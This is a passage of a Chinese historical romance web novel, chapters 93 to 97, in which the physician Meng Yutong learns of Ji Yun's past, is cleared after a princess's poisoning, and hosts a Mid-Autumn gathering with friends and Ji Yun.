“此事虽非公子本意,祸根却由他亲手埋下。夫人悲痛欲绝,一病不起,老太爷更是一夜之间,鬓发尽霜。公子他……自责难当,在老太爷院外长跪不起。那一夜,大雨滂沱,寒意刺骨,他就那样直挺挺地跪在雨幕里,任谁去劝、去拉,都纹丝不动……那时,他也才十二岁。” “天亮时分,他对着紧闭的院门立下重誓,从此弃弓藏箭,接过兄长未竟之志,苦研医术,扛起纪家门楣。 “那一跪,寒邪入骨,在他肩上留下了永久的病根;那一诺,也将他过往所有的恣意与欢脱,尽数封存。自那日后,他便将自己困在了书斋药房之中,再不见昔年半分疏阔模样,直至后来考入医官院,成为如今众人眼中……冷情寡言、只知医术的纪医官。” 孟玉桐静默地听着,心中却情绪复杂,难以平息。 她初识纪昀时,便觉他此人如同覆着一层寒冰,冷心冷情,仿佛天生便是为医道而生,除此之外,再无悲喜。 她甚至曾觉得,他像一架精密却毫无温度的机关,只循着责任与规矩运行。 直至此刻,云舟寥寥数语,让她窥见了冰层之下,那段被刻意掩埋的少年时光。 原来,那般清冷孤寂的性情,并非天生,而是用至亲的性命、用一场倾盆冷雨、用无数个自责的日夜,一点点磨砺而成。 他弃了所爱,担起兄长的责任,将自己活成了另一个人的影子,不过是为了赎一份深埋心底的罪孽。仿佛唯有如此苛待自己,那份噬骨的愧疚方能减轻分毫。 她忽然觉得这样的纪昀……有些可怜。 也难怪上一世,她嫁入纪家之后,他对自己的态度一直冷淡。 于那时的他而言,她不过是家族赋x予的责任,是另一重不得不背负的枷锁,而非心之所向。所以他将自己封闭得更紧,任由她如何努力,也敲不开那扇自内而外紧闭的心门。 想到此处,孟玉桐心头没来由地漫上一阵空茫的无力感。 重生之初,她对他并非没有怨与恨,可时至今日,知晓了这许多前因后果,置身于这个似乎人人皆有苦衷、个个身不由己的局中,从前那份对于过往的执着与在意,好像早就失去了坚实的落点。 各有苦衷的境况里,她很难再坚定地去怪罪某一个具体的人。 过往种种,恩怨纠缠,到了此刻,再去细究孰是孰非,似乎已无太大意义。 她长长地、无声地吁出一口气,将所有翻涌的情绪尽数敛入心底,面上恢复了一贯的沉静。她抬眸看向云舟,将话题引回当下: “如此说来,大公子去后,青书便同你一样,跟在了纪昀身边?” 云舟忙点头:“是。青书此人……有些死心眼。他早年曾患重疾,是大公子不眠不休,亲自将他从鬼门关拉了回来。大公子出事当日,他竟欲撞柱追随,是……是恰好在府的瑾安公主发现,拼死拦下的。” 孟玉桐眸色微动,心中了然。 原来如此。这般渊源,一切便说得通了。 青书对纪昭的忠诚与愧悔,瑾安于他的“救命之恩”,两相交织,足以让青书成为瑾安手中一把最趁手、也最隐蔽的刀。 后来瑾安欲借毒除去她这个绊脚石,从青书入手,再好不过。 第94章 第94章松子糖 夜幕早降,四下里一片阒静。 初秋的寒意渗入空气,天色黑沉如墨,压抑得令人心头发闷。 不多时,大雨便滂沱而下,密集的雨点砸在瓦上、地上,发出嘈杂而持续的声响,仿佛要将这天地间的一切都冲刷个干净。 李璟一行人逗留了大半日,直至天黑眼见暴雨将至,方才离去。 几人走后,孟玉桐回到了房中,就着摇曳的烛火,翻开了那本《药理》。窗外风声呼啸,不时卷入室內,吹得案上灯焰明明灭灭,一如她此刻难以安宁的心绪。 翻看了几页,她终是读不下去了,轻叹一声,合上书册,纤指揉了揉微蹙的眉心。 起身行至窗前,将窗扉拉开一丝缝隙。但见外间雨幕如瀑,将她屋前那株石榴树打得枝叶乱颤,左右摇摆。 望着那在风雨中挣扎却始终不曾折断的石榴树,她忽然忆起,纪昀曾对她说过: ‘你也可以编写一本属于自己的医书。’ 那树上尚挂着几颗鹅卵石般大小的青涩果实,在狂暴的风雨中显得如此脆弱,仿佛下一刻就要零落成泥。 可那看似纤细的枝条,却韧性十足,于风雨飘摇中竭力保持着自身的姿态,顽强抵抗。 孟玉桐眼中掠过一丝动容。冰凉的雨丝钻入缝隙,打在她微温的手背上,激起细微的战栗。 她轻轻合上窗,隔绝了外间的风雨声,转而铺开一张素白宣纸,提笔蘸墨。 笔尖落下,率先写下的,是‘秋海棠’三字。紧接着,凭借记忆,沈昺册中所载关于金盏红玉的形态、药性,中毒后的诸般症状,以及解毒方剂……皆被她一一详录纸上。 她甚至凭印象,勾勒出了那妖异毒花的轮廓。 笔下如有风助,异常顺畅。不过片刻,一张宣纸便被密密麻麻的字迹铺满。 她并未停歇,继而写下前次城中肆虐的腹泻疫症,又记录了这几个月在照隅堂坐诊以来,所遇的诸多疑难杂症与其诊治心得。 她沉浸其中,笔走龙蛇,待终于搁笔时,窗外雨声已歇,天光竟已大亮。不知不觉,竟已奋笔疾书了一整夜。 推开窗,小院中涌来的不再是刺骨寒凉,而是雨后带着泥土草木清气的晨风,拂面而来,孟玉桐只觉神思一清,连日来的沉郁竟被驱散了不少。 她垂眸看着眼前墨迹未干的数页纸张,心头蓦然动念。 若此次能平安度过此劫,她或许真的可以着手撰写一本属于自己的医书。其中不仅记录行医所见疑难,亦可融入她对古方旧籍的独到见解,乃至她根据所见病症自己调配的新方。 想到此处,连日被软禁于医馆的憋闷与沉寂,渐渐被一股新的期许所取代。 只是不知道纪昀那边,究竟如何了? 整整两日,一直没有他的消息。凤凰山地势险峻,其中危机四伏,远不如面上看上去的那般简单。他莫非是出了什么意外? 正思胡思乱想间,只见白芷提着裙摆,自前堂一路小跑而来,脸上是掩不住的欣喜,人未至声却先到:“姑娘,姑娘!外头那些守门的官爷都撤走了!说是景福公主服了您调配的解药,已然苏醒了!咱们没事了!” 她调配的解药? 孟玉桐骤然起身,快步迎出房门,拉住白芷的手问:“是纪昀回来了?他采到七星草了?” 白芷却摇了摇头:“具体情形奴婢也不清楚。只知道方才孙大娘给咱们送吃的的时候,好似有公主府的人特意过来传话,说公主殿下已然转醒,亲自下令撤了守卫,还好生申饬了他们一番呢。” 她眨了眨眼,压低声音,“奴婢悄悄同那传话的内侍套了近乎才得知,先前下令查封咱们医馆的,竟是宫里的太妃娘娘,并非公主本意。也不知咱们是何时得罪了这位太妃,人家公主都没说什么,她倒是闲得慌,先给咱们治起罪来了……” 孟玉桐轻轻拍了拍她的手背,示意她慎言。 白芷会意,连忙噤声,左右看了看,小声道:“奴婢知道了。” 既然查封令已撤,照隅堂便可照常开诊。 孟玉桐整理了一下衣襟,举步走向前堂。那里已聚集了几位桃花街上的老邻旧居,皆是闻讯前来关切询问的。 孟玉桐一一解释,只道是一场误会,如今已然澄清。 众人见她神色坦然,举止依旧从容大方,颇有几分泰山崩于前而不改色的气度,加之这小半年来比邻而居的情分,自然更信得过她的人品,纷纷宽慰几句,方才散去。 随后匆匆赶来的,是何浩川。 “玉桐姐姐,你这几日可还好?”少年郎君面带忧色,语气急切,“我一直想来看看你,可外头有人拦着,我只能在一边干着急,什么忙也帮不上。” 孟玉桐温言安抚:“我无事,劳你挂心了。” 何浩川摆了摆手,脸上带着些愧色和后怕:“我其实没帮上什么忙……倒是纪医官,这两日在凤凰山里,可是吃了大苦头。我同他说我熟悉山里路径,便带他进了山。可他担心我安危,只允我带路至我家茶园所在,再往上的险峻处,便执意不肯让我跟随,只带了名贴身侍从前往。” 他回忆着当时情形,眉头紧锁:“我在茶园里等了一日一夜,还不见他下山,心里着急,正想下山找人进山去寻……才终于看见他走了出来。” 何浩川的声音里带着余悸,“姐姐上一次采药是白日去的,你不知道,那凤凰山深处,入夜后瘴气弥漫,这个时节的毒蛇毒虫也还有许多,路径湿滑难行,险象环生……纪医官出来时,模样甚是狼狈,我瞧见他右手臂似是受了伤,用布条草草裹着,衣袍上还沾着许多泥泞与草屑。我从未见他如此形容……” “他受伤了?可还要紧?”孟玉桐忙问。 何浩川摇摇头,“我只瞧得出他手上伤了,其他的地方不太清楚,我问了他几回他总说没事。” 他顿了顿,继续道:“对了,我们是今日天蒙蒙亮时才下的山。一下山,他的侍从便立刻护送他回府疗伤了。我回到茶肆这边稍稍休整了一番之后,再出来,便瞧见你这边的侍卫撤走了。想来定是纪医官及时送回了药,配制成解药救了公主。只是不知他自己现下的伤势如何了。” 何浩川见孟玉桐神色间难掩忧思,忙宽慰道:“玉桐姐姐,你也别太担心。纪医官自己就是医术高明的大夫,定会妥善处理的。他本不许我告诉你这些,但我知晓你的性子,觉得这些事……你应该知道。” “我知道了,”孟玉桐微微颔首,眼底情绪复杂,“谢谢你告诉我这些。” “姐姐何必同我客气!日后若有需要我帮忙的,你只管开口!” “你在凤凰山中奔波两日,想必也十分辛苦。我这里既已无事,你也早些回去歇息,养足精神才好。”孟玉桐语气温和。 何浩川应下,转身离开了照隅堂。 待他走后,孟玉桐默然走回柜台后。她动作熟稔x地拉开一个个小抽屉,取了几味活血化瘀、治疗外伤的药材,又配了两帖驱寒固本的方子,仔细用桑皮纸包好,系上麻绳。随后唤来吴明,将药包递过去:“你将这些送去纪府,交给纪昀。” 吴明接过药,疑惑道:“当家的,纪医官这是怎么了?莫非是前日采药时受了伤?要紧吗?”他问题一个接一个,倒比孟玉桐还急切。 孟玉桐轻轻摇头:“具体情形我也不甚清楚。你送去时,若见到云舟,便仔细问问纪昀的伤势,看看有无需要我们帮忙之处。” “行,包在我身上!”吴明爽快应承,拿着药包转身就要走。 “吴明。”孟玉桐忽然出声唤住他。 吴明回头:“当家的还有何吩咐?” 却见孟玉桐欲言又止,素来清冷从容的脸上竟难得显出一丝犹豫。吴明挠挠头,不解地望着她。 她最终只是面无表情地添了一句,语速略快:“你去送药时,若路过陈记糕点铺,顺便带一包松子糖,一并送过去。” “哦,好。”吴明虽觉意外,还是爽快应下。 他一边朝外走,心里一边嘀咕:松子糖?纪医官瞧着那般清冷持重,可不像是喝药还得配糖吃的人啊…… 罢了,管他呢,反正顺路。他正好也给自己买一包! 这么一想,吴明顿时眉开眼笑,一手拎着药包,哼起不成调的小曲,脚步轻快地汇入了街巷的人流中。 吴明走后,孟玉桐简单用了些早饭,便如常开诊。 虽有些收到这两日的事情影响,来照隅堂看诊的人比以往少了不少,不过也渐渐来了些人。她收敛心神,专注应对,将那些纷乱的思绪暂且压下。 近午时分,吴明送药归来。孟玉桐寻了个间隙将他唤至一旁,询问纪昀的情形。 吴明回道:“我去送药时,正碰上纪医官要出门,像是急着进宫。他右手动作瞧着确实不甚利落,裹得严实。我问候了几句,他说并无大碍,还让我代他多谢您送的药。” 他顿了顿,补充道,“哦,您特意嘱咐的那包松子糖,我也一并送到了。” 孟玉桐目光落在手中的药方上,只漫应了一声:“无事便好。” 吴明又道:“说来也怪,纪医官平日里瞧着性子淡漠不爱说话,今日却心情甚好的模样,竟还留我在府上吃茶。不过我见他与云舟似有要事在身,便没多叨扰。” 第95章 第95章中秋 “你也辛苦了。这几日医馆被封,不知你祖父在何处落脚?上午忙于看诊,还未及问候。”孟玉桐望向窗外,只见老桃树下,吴林正闭目养神。 吴明嘴上浑不在意:“当家的您就别操心他了!他在这桃花街混了半辈子,哪儿不熟?断不会亏待了自己!”话虽如此,他还是道,“不过您既关心,我这就去问问,也好将您的心意带到。” 说完,他便朝桥边树下走去。 孟玉桐无奈浅笑,正要转身回屋,却听得一声带笑的呼唤自不远处传来: “孟大夫!” 她回身望去,只见窦志杰轻摇折扇,脸上挂着惯常的慵懒笑意,缓步朝她走来。 “公主府一别,数日未见。上回在贵堂所购的香囊甚是好用,窦某本想再来添购几只,却不巧听闻贵堂出了些变故。” 他行至近前,收扇拱手,言辞恳切,“窦某当时便觉,此事定有误会。似孟大夫这般仁心仁术、仙子般的人物,怎会行那谋害之事?今日一见,果真是云开月明了。” 他这番油滑的奉承话说得行云流水,毫不费力。 孟玉桐自觉与窦志杰不过数面之缘,并无深交,闻言只是神色浅淡地点了点头:“多谢窦公子挂心。不知公子今日是来瞧病,还是抓药?” 窦志杰又轻轻地甩了甩手里的折扇,“诶,孟大夫此言差矣。我与明远乃至交好友,明远对孟大夫又颇为关照在意。如此说来,你我之间,理应不必如此见外,合该如自己人一般才是。” 孟玉桐神色依旧浅淡,疏离不减:“窦公子误会了。我不过是曾借照隅堂厢房,供李世子病中暂住几日,实不敢借此攀附关系。” 窦志杰眼中掠过一抹似真似假的笑意,转而道:“听说景福公主所中之毒的解药,乃是孟大夫调配而出?孟大夫当真是神人也,被拘在这医馆之内足不出户,竟能隔空解了公主殿下的毒,难怪纪医官与明远皆对孟大夫另眼相看。” 他话语中带着试探。 孟玉桐抬眸看他,语气平缓却自带分寸:“景福公主吉人自有天相,医官院诸位大人亦尽心竭力,我不过恰逢其会,略尽绵力,实不敢居功。” 她四两拨千斤,将话头轻轻挡回。 “窦公子若是无事,医馆内尚有病患等候,恕我不便久陪了。” 说罢,她不待窦志杰回应,微一颔首,便转身迤然步入医馆内堂。 窦志杰站在原地,望着那抹消失在门帘后的清冷背影,眼中玩味之色渐浓,唇角勾起一丝若有若无的弧度。 这女子,倒是有趣得紧。他今日前来,自然并非只为闲话两句,实是听闻景福公主毒解,特来探听虚实。 以他对宫中那位太妃娘娘的了解,不出今日,必定会召他入宫询问此事细节。 只是这孟玉桐,远比他预想的更为聪敏警觉,言语间滴水不漏,软硬不吃,闲聊半晌,竟未探得半分有用的讯息。 他略感无趣地甩了甩衣袖,正欲转身离去,却听身后老桃树下传来一声苍老的呼唤: “这位公子,老夫观你眉宇间隐有浮云蔽日之象,近来可是有何事萦绕于心,难以决断?不如上前来,容老夫为你卜上一卦?” 吴林捻着颌下几缕胡须,目光悠远地落在窦志杰身上。 窦志杰闻言,轻笑一声,带着几分不以为意:“多谢老先生美意。不过,家父自幼教导,命数之说,虚无缥缈,事在人为,运由己握。老先生还是另寻有缘人吧。” 言毕,他不再停留,转身施然离去。 吴林的目光却久久凝在他消失的街角,未曾收回。他的手指无意识地摩挲着木匣中那几片色泽沉黯的龟甲,脸上惯常的豁达嬉笑褪去,唯余一片晦涩难明的复杂。 此人的眉眼气质,行事谈吐,倒是与他爹如出一辙。 吴明在一旁瞧见他这般模样,抬手在他略显佝偻的肩背上不轻不重地捏着,开口宽慰:“老头子,你今日是怎么了?平日不总挂着‘姜太公钓鱼,愿者上钩’的劲儿么?人家不愿算,你等着下一个有缘人便是。” 吴林闭上眼,哼道:“用些力气,没吃饭吗?” “我如今可是咱们家的顶梁柱,您老可悠着点使唤。”吴明嘴上抱怨,手上力道却依言加重了几分。 “是是是,你是顶梁柱,我是老骨头,往后……可要多倚仗你这根顶梁柱了。”吴林扯了扯嘴角,像是笑了笑,可那笑意却未达眼底,眉宇间少见地笼着一层沉重。 吴明停下动作,绕到他身前,蹲下来仔细看他:“老头子,你是不是有什么事瞒着我?怎么总觉得你今日怪怪的?” 吴林抬眼望着前方“照隅堂”那块崭新的匾额,沉默片刻,方缓声道:“若我说……我有些累了,这铺子,我不想再租了,你可答应?” 吴明闻言,猛地顿住。他霍然起身,急忙追问:“是出什么事了吗?您若累了,便在医馆后院好生歇着,何必出来风吹日晒?我早就说我能养活您!医馆才开了三个月,我已攒下些银钱,您再等等,过不了多久,我定能挣更多,足够给您养老!” 吴林看着孙子急切而真诚的脸,眼中闪过一丝复杂的顾虑,随即又被那毫不掩饰的关切熨帖成一片温软的欣慰,最终,皆化为一丝不忍。 吴明虽非他亲生骨肉,不过是当年他流落街头时捡到的、同他一样无依无靠的可怜孩子。 那时他心灰意冷,了无生趣,若非为了这个懵懂稚儿,他只怕早已不在人世…… 罢了,都已到了这般年纪,黄土埋到脖颈,还有什么可畏惧、可退缩的呢?他日日为人占卜问卦,指点迷津,轮到自己,反倒怯懦不前了么? 他忽地仰头哈哈一笑,面上恢复了几分往日的神采,带着嫌弃瞥向吴明:“我能有什么事?逗你玩的!孟大夫这医馆开得如火如荼,你如今也有了正经事做,我日后还指着你养老送终呢,怎会想x不开收回铺子?” 听他这么说,吴明才长长舒了口气,放下心来,抬手在吴林胳膊上不轻不重地掐了一把:“你这老顽童,少学别人愁眉苦脸!总之,您想做什么就做什么,天塌下来,也有我顶着。” 恰有一阵微风拂过,头顶桃树的枝叶簌簌响动,筛落一地细碎的金色光斑。 在那明明灭灭的斑驳光影里,吴林望向身旁人的眼神,沉静而缓和,更有几分温柔。 * 八月十五,中秋,月满如盘,清辉遍洒。 自照隅堂被查抄一事,已过去七日。 这几日间,孟玉桐一如往常,料理着医馆内外事务,其间亦特意去过一趟公主府,为景福公主复诊。 纪昀采来的解药虽解了秋海棠的剧毒,保住了性命,但那毒性阴狠,终究损及经络,原本已见起色的腿疾,经此一遭,竟又倒退回了原状。 孟玉桐为她细致施针调理后,如实告知:“殿下目前元气大伤,腿疾之事急不得,唯有先行静养,待根基稳固,再图后续。” 听闻腿疾加重,景福的反应却出乎孟玉桐意料的平静,她非但没有动怒,反而缓声道:“听淮之说,此番我能脱险,全赖你辨明毒源,寻得解方。若非有你,我这条命,恐怕就交待了。” 孟玉桐微微欠身:“公主福泽深厚,吉人天相。若真要言谢,应是纪医官不辞艰险、千里寻药之功。民女不敢居功。” 景福却伸手,亲切地拉她坐下,语气带着几分以往未曾有过的坦诚:“过去,我因着一些偏见,待你多有苛责。但经历这许多,也算看清了些许世情。这世道,人心隔肚皮,你分不清哪些人是面热心冷,哪些人是笑里藏刀。若非此次事发,我竟不知,瑾安她对我怀有如此深的恨意,竟欲置我于死地!” 孟玉桐抬眸,目光清正地看向她:“既然公主已明悉前因后果,不知可否还民女与照隅堂一个清白?” 景福闻言,不由轻笑出声:“你这人当真有趣。我从前苛待你,你不记仇,反而为我治腿、为我解毒;如今我视你为恩人,以礼相待,这满临安城也没几人能得我如此青眼,你却也不见得多热络,依旧是这副清清冷冷的模样。” 她轻叹一声,带着几分自嘲,“你放心,你的清白,照隅堂的清白,我自会还你。倒是我自己这仇。眼下竟只能生生咽下,当作无事发生,实在憋屈得紧。” 孟玉桐眼睫微垂,语气平和依旧,却带着点莫名意味:“公主殿下宽宏大量,念在瑾安公主年幼,又顾及皇家血脉亲情,宁愿自身受些委屈,也要保全小辈颜面,如此胸襟,当真令人感佩。” 她话语轻柔,字字清晰,只是话里又是“宽宏大量”,又是“感佩胸襟”,听着总觉别有深意。 景福冷笑一声,眉宇间染上薄怒:“哼,宽宏?淮之这几日替我奔走,将府中查得的证据一一整理,递交宗正寺。可忙前忙后数日,竟只得一句‘证据不足,难以立案’给挡了回来! “本宫原想等身子好些,亲自入宫面圣陈情,谁知贤太妃竟先发了话,说是我既已无性命之忧,便该静心养病,莫要再生事端,徒惹烦忧。” 这宫闱之中的波谲云诡,孟玉桐至此也算窥见一斑。景福公主平日里纵使如何张扬,终究是这权力场中浮沉之人,无法全然不顾及那些盘根错节的关系与上位者的态度。 第96章 第96章小聚 连圣眷正浓的景福尚且如此,她一个无依无靠的平民医女,能在这场贵人们的博弈中保全性命与医馆,似乎已属万幸。 一股深沉的无奈之感,如潮水般漫上心头,久久不散。 只是不知,此番她被卷入其中,究竟是恰巧做了那替罪的羔羊,还是那布局之人,本就存了一石二鸟之心? 她与贤太妃素无往来,这一世她更是早已与纪昀退了婚约,瑾安按理说,不该在羽翼未丰之时,就如此大费周章地来对付她。 若要理清这其中缘由,或许她该回一趟孟府,问问祖母。 心中千回百转,面上却依旧平静。她只淡淡垂首,顺着景福的话道:“太妃娘娘所言,亦是在理。殿下如今确应以保重身体为要。心绪开阔,少思少虑,病痛烦忧自然也会消减几分。” “你倒真是个宠辱不惊的。”景福打量着她,话锋一转,带着几分探究与戏谑,“此番风波将你卷了进来,你这身处其中,瞧着倒像个没事人一般。反而有人,为了你的事忙前跑后,费了不少心力。” 她语意直白,不喜拐弯抹角,“我那外甥啊,我可是少见他对旁人如此上心。只是不知他这番奔波劳碌,甚至不惜以身犯险,这份心意,可有人领情?” 孟玉桐微微一顿,清冷的眼波深处,漾开一圈极淡的涟漪。 她垂下眼帘,纤长的睫毛在眼下投下一小片阴影,恰好掩去了其中一闪而过的复杂情绪,叫人无从分辨。 “纪医官此次鼎力相助,解了照隅堂之困,民女自然感念于心,不敢或忘。” 她愈发有些看不清纪昀了。 “姑娘,姑娘,”白芷伸手在孟玉桐眼前轻轻晃了晃,唤回了她的思绪,“姑娘这两日是怎么回事?总见您神思不属的,从前可未曾见过您这般呢。” 不待孟玉桐回应,白芷便拉着她朝外走,“姑娘快看,是公主府来人了。” 孟玉桐跟着举步迎出。来人是景福公主身边的管事吴嬷嬷,身后跟着几名侍女,手中恭敬地捧着一卷装裱精美的卷轴。 那卷轴以深紫锦缎为底,两端镶嵌着錾刻祥云纹的赤金轴头,边缘隐隐可见繁复的暗纹滚边,一望便知出自宫廷御府,矜贵不凡。 吴嬷嬷上前一步,面容端肃,声音清晰地说道:“照隅堂孟氏听令,景福公主殿下谕:孟氏玉桐,慧心仁术,妙手回春,于本宫危难之际,辨毒解毒,功莫大焉。特赐亲笔墨宝,以彰其德,以表其功。” 她身侧的侍女闻言,小心翼翼地将那卷轴徐徐展开。但见上好宣纸上,是景福公主那带着几分不羁风骨的墨迹,龙飞凤舞四个大字——妙手回春。 吴嬷嬷让人将卷轴重新卷好,双手奉至孟玉桐面前,脸上这才露出真切的笑意,语气也热络了许多:“孟大夫,殿下特意嘱咐老身,定要亲自交到您手上。殿下说了,此次若非您,后果不堪设想。这‘妙手回春’四字,您当之无愧。” 孟玉桐双手接过,微微欠身:“多谢公主殿下厚赐,玉桐愧不敢当。” 吴嬷嬷笑道:“今日恰逢中秋佳节,公主府内设了小家宴,皆是殿下亲近之人。殿下特意让老身来问姑娘一声,可愿过府一叙,共度佳节?” 孟玉桐婉言谢绝,“多谢殿下盛情相邀,民女感怀于心。只是今日佳节,医馆中诸位伙计也需团聚松快一番,我们已备下薄酒小菜,实不便离开。还请嬷嬷代玉桐回禀殿下,恭祝殿下凤体安康,早日康复,佳节顺遂。” 吴嬷嬷闻言,也不强求,含笑点头:“既如此,老身便不打扰孟大夫与诸位团聚了。”说罢,便领着人告辞离去。 吴嬷嬷此番前来颁赐,阵仗不小,离去时,桃花街上许多邻里都瞧见了。 不过片刻功夫,景福公主亲赐“妙手回春”墨宝予照隅堂的消息,便传遍了街巷。 此前因公主中毒、医馆被封而对照隅堂产生的不好传言,随着这四个铿锵有力的大字,彻底烟消云散,再无人敢以此事非议照隅堂半句。 时近傍晚,天际铺陈开绚烂绮丽的晚霞,橘粉金红,美不胜收。秋风送爽,拂去白日的最后一丝燥意,空气中弥漫着清甜的桂花香气,萦绕在桃花街的每一个角落。 那幅“妙手回春”的卷轴,很快便被吴明兴高采烈地送去精心装裱,而后悬挂于医馆正堂最醒目的位置。 孟玉桐仰头,望着那龙飞凤舞、力透纸背的四个字,清丽的面容上,也不由自主地漾开了一抹清浅的笑意。 今日是中秋佳节,难得又逢照隅堂劫难初定,白芷与吴明早早便提议,要备下一桌好酒好菜,邀上刘思钧、何浩川等相熟友人,痛痛快快地聚上一场。 白日里诊治完不多的病患,天色尚早,众人便手脚利落地收拾妥当,在后院支起一张大圆桌。 提前在庆来饭馆订好的菜肴,由孙大娘精心烹制后,吴明一趟趟地忙着端回来。 桌上琳琅满目,摆了十x数道佳肴,皆是应时应景的秋日风味,诸如肥美的清蒸蟹、暖身的栗子焖鸡,香气四溢,准备得极为丰盛。 氛围如此之好,孟玉桐便让桂嬷嬷将她珍藏多年、原是预备着等孟玉桐出嫁之时再开启的两坛亲手酿制的果酒也取了出来。 待一切准备停当,天色已微微擦黑。 小院里,那棵日渐饱满的柿子树在晚风中轻摇叶片,青石砖地面被仔细洒扫过,角落里晾晒的草药散发出甘洌的清香,与满桌佳肴的香气交织。 这样温暖而充满生气的景象,足以慰藉连日来所有的紧张与辛劳。 刘思钧几人来得早,帮着张罗了一阵。何浩川待茶肆忙完,也提着一食盒他亲自做的月饼匆匆赶来。 刘思钧见状,立刻打趣道:“哟,没瞧出来,浩川你还有这般手艺?这月饼做得有模有样,馅料瞧着也精细,当真是贤惠得紧!” 何浩川被他闹了个大红脸,赧然地将食盒往前递了递,小声道:“大家……大家尝尝看。” 孟玉桐见人已到得差不多,便示意吴明去取那两坛山楂酒,准备开席。 吴明却笑道:“当家的,再稍等片刻,还有人没到呢。” 孟玉桐的视线在已然落座的众人脸上掠过一圈,心中隐隐升起一个猜测。吴明所说之人,该不会是…… “来了来了!”吴明望向小院入口,立刻起身迎了上去,语气热络,“纪医官,您可算来了,就等您了!” 孟玉桐抬眼望去,视线恰好与步入院中的纪昀遥遥相接。 渐次消退的柔和天光下,万物轮廓都变得朦胧,却也正因如此,褪去了平日的清晰棱角,显得格外温柔。 但见纪昀身着了一件紫色的云纹直裰,颜色清雅,愈发衬得他面容清俊,身姿挺拔。腰间束着同色绦带,悬着一枚与他气质略有些不符、绣工粗放的蝴蝶图样香囊。 几日未见,他身形似乎清减了几分,眉宇间带着一丝不易察觉的倦意,但那双凤眼在暮色中望过来时,依旧沉静如昔。 自上次他从凤凰山负伤采药归来,这还是两人第一次见面。 吴明在一旁笑着解释:“当家的您说今日佳节,要邀请相熟交好之人,我便自作主张,也将纪医官请来了。” 吴明话音刚落,院中众人瞧见纪昀,都热情地招呼起来。 刘思钧放下酒杯,关切地问道:“纪兄,听闻你前次去凤凰山采药伤了手,如今可大好了?”他边说边拍了拍身旁的座位,示意纪昀近前。 纪昀缓步走入这片暖意融融之中,清冷的面容在暮色与灯火交织下也柔和了几分,应道:“多谢挂怀,不过些许皮肉小伤,已无大碍。” 何浩川正端着一碟刚切开的月饼,闻言也凑上前,脸上带着腼腆又真诚的笑:“纪医官,快来尝尝我做的月饼!有豆沙的、五仁的、还有莲蓉的,您喜欢什么口味?”他眼神满是期待。 “五仁的便好。”纪昀走到桌前,目光扫过桌上琳琅的菜肴与众人带笑的脸庞,这种被自然而然接纳进热闹圈子的感觉,对他而言有些陌生,却并不令人排斥。 他在何浩川递过月饼时,心中也染上几分热意。 圆桌就安置在枝叶渐黄的柿子树下,孟玉桐的位置恰在树旁,正对着小院入口。 刘思钧坐在她左手边,崔大、梅三几人挨着刘思钧。何浩川正忙着分月饼,尚未落座。白芷坐在孟玉桐右手侧,吴明的位置则在白芷右边。 吴明引着纪昀进来后,便走回自己座位,顺手拉起正小口吃着月饼的白芷:“起来起来,这边坐。” 白芷不明所以,含着半口月饼含糊问:“怎么了?” 吴明朝桌子中央那盘油亮亮的栗子焖鸡努努嘴:“你不是最爱吃这个么?坐这儿,夹菜方便!” 白芷眼睛一亮,恍然大悟:“对哦!还是你机灵!”便笑嘻嘻地顺势挪到了吴明右侧。 如此一来,孟玉桐右手边的位置便空了出来。纪昀见状,从善如流地在那空位上坐下,一切显得水到渠成。 他落座后,孟玉桐便侧首看向他依旧裹着细布的手腕,轻声问:“是怎么伤的?” “采药时运气不佳,遇上了一头护着药草的熊罴,周旋时被它的利爪扫到。”他语气平淡,随即转向孟玉桐,眼底漾开一丝连自己都未察觉的温柔,“不必担心,用了你送来的药,已好多了。” 说着,他自然地伸出手,在孟玉桐面前将五指缓缓张开,又慢慢收拢,动作虽仍有些许凝滞,但确实灵活,“你看,并无大碍。” “嗯。”孟玉桐点了点头,见他如此说,便也不再深究,转而举筷招呼众人,“大家忙了一日,都饿了吧,快动筷吧。” 一时之间,杯箸交错,笑语喧阗,小院中染上烟火暖意。 第97章 第97章吻 纪昀饮不得那酸甜诱人的山楂酒,只端着杯清水,静静看着刘思钧与崔大等人高声谈笑、碰杯畅饮。 孟玉桐素喜酸甜,这山楂酒滋味醇厚,果香浓郁,回甘绵长,十分合她口味,今日难得放松,便也饮了好几杯。 刘思钧举着酒杯,面颊已有些泛红,对着孟玉桐道:“桐桐,前几日医馆出事,我偏生在外头采收药茶用的干果,没能帮上什么忙,心里着实过意不去。所幸最后化险为夷,不然我真是……唉!” 他语气中带着懊恼与后怕。 孟玉桐莞尔一笑,举杯与他轻轻一碰:“刘大哥何必如此见外。你外出奔波,也是为了照隅堂的药茶生意。此事既已过去,今日这般好光景,便莫要再提了。” “是,是,你说得对!”刘思钧仰头将杯中酒一饮而尽,豪爽道,“这些糟心事儿,往后咱都不提了!咱们照隅堂,往后必定日日都是好日子,红红火火!” 纪昀坐在一旁,看着孟玉桐因酒意而微染绯红的面颊,那双平日清冷的眸子此刻亮如星子,流转间竟透出几分罕见的娇憨之态。 她闻言也笑了笑,跟着饮尽一杯。 刘思钧立刻又为她斟满,两人你来我往,竟一连对饮了五六杯。 另一边,何浩川也被吴明、白芷拉着喝了几杯,崔大和梅三更是划起拳来,嚷嚷着“五魁首啊,六六顺”,引得众人阵阵哄笑。 纪昀默默看着眼前喧闹的景象,端起自己的茶杯轻啜一口,他素来喜静,今夜却忽然觉得,吵闹一些似乎也没什么不好。 终于,刘思钧酒力不支,没多大功夫便伏在桌上,嘟囔着含糊不清的醉话睡着了。 崔大嫌弃地瞥了他一眼,顺手扯过件外衫给他披上,便不再管他,继续与梅三猜拳。 孟玉桐的脸上已是霞飞双颊,一双明眸水光潋滟,比之平日的清冷自持,此刻的她带上几分少见的懵懂的可爱。 “莫要贪杯了,”纪昀看着她染满醉意的脸,语气里带着无奈,“我去给你买杯陈皮饮子来解解酒。” 就在他起身欲走时,衣袖却被人轻轻拉住。 孟玉桐仰着头看他,眼神有些迷蒙,声音却带着一丝难得软糯:“今日中秋,王叔早就回家吃团圆饭了,你哪里买得到?况且……我也没醉。” 此时,皎洁的月光已完全倾泻下来,将小院笼罩在一片清辉之中。孟玉桐亦沐浴在这片银辉里,脸颊像是镀上了一层浅淡而温柔的釉色,朦胧得不真切,却让人无端生出一种想要触碰、想要将那捧月光掬在手心的遐思。 纪昀指尖微动,终是缓缓坐了下来。 孟玉桐见他坐下,便朝他嫣然一笑,带着几分醉意:“可惜了……这山楂酒滋味甚好,是桂嬷嬷早年专为我……嗯,总之是珍藏的佳酿,你竟没法尝一尝。” 她顿了顿,目光落在他手上,又补充道,“不过,你手伤着,不喝……也好。” 